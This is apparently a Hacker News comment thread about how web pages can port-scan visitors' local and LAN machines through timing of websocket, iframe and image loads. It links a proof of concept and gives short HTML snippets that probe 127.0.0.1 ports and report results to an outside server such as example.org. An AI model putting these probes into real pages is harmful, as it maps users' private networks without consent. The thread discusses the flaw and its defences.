[blakesterz]

This websockets thing is getting more interesting very fast. I wonder how long it'll be before someone finds something truly scary? This is the 3rd post this week, and each one has found a little bit more. Nothing that seems panic worthy yet. From this one:

"In all seriousness, this attack vector is pretty slim. You’ve got to tempt unwitting users to visit your site, and to stay on it while they’re developing JS code."

[qppo]

This is one Show HN post away from an exploit in the wild

[armchairchair]

This issues isn't endemic to websockets. I've done this with iframes as well to portscan machines on my LAN. Additionally, the portscan capabilities are even worse than the article states: you can scan any machine reachable from the visitor's machine. Any 192.* address, anything behind your VPN, so long as the time for actively refusing the connection and failing to route are different. I don't know if you can time connections to known hosts to infer things about Tor circuits.

Simply call Date.now() when adding the iframe and when that iframe's onerror event fires then diff the two. I think you can do this with img tags, frames, and anything backed by a network call that lets you observe load failures.

CORS doesn't save you because you aren't trying to reach into that iframe and run Javascript or access the DOM. A CSP doesn't save you because the site you're visiting is opting to do this and can put whatever they want in their CSP.

[armchairchair]

POC

https://jsfiddle.net/s9vzxctd/3/

Tested in Firefox ESR on Linux. Anything with about 3000ms time isn't a routable network address. Anything with a significantly longer or shorter time responds to a ping on my network.

Timings vary from browser to browser.

NoScript does block the requests before they ever leave your browser, reminding me why I use it.

[cygx]

NoScript isn't sufficient to protect you from this.

Eg write a simple HTML file like

    <link rel="stylesheet" href="http://127.0.0.1:42">
    ok

If it takes different amounts of time for the page to stop loading and the text to appear depending on the port you checked, you're vulnerable to scans, even when Javascript is disabled.

[ricardobeat]

If the page does not have JS running, how would it check the time elapsed? i'm not seeing the vulnerability with noscript here.

[cygx]

Instead of merely printing 'ok', the page can request a resource from a server you control, eg via an <img> element.

You could probably even automate this via <meta http-equiv="refresh">, along the lines of (untested):

    <meta http-equiv="refresh" content="5; url=http://example.org/?query-port=43">
    <link rel="stylesheet" href="http://127.0.0.1:42">
    <img src="http://example.org/?checked-port=42">

[user234683]

uMatrix can protect against this if you block third party everything by default (which I do).

[parliament32]

Exactly. This isn't websockets specific, you can portscan happily with pure JS. The issue is that browsers are allowing connections (from untrusted code) to private/loopback address space. This should really be behind a permission.

[grimjack00]

> You’ve got to tempt unwitting users to visit your site, and to stay on it while they’re developing JS code

So, something like evil counterparts to HN, reddit, StackOverflow, or latestcatvideos.com.

[Seb-C]

After reading this post, I checked my browser console on this page, and you'll never guess what I discovered!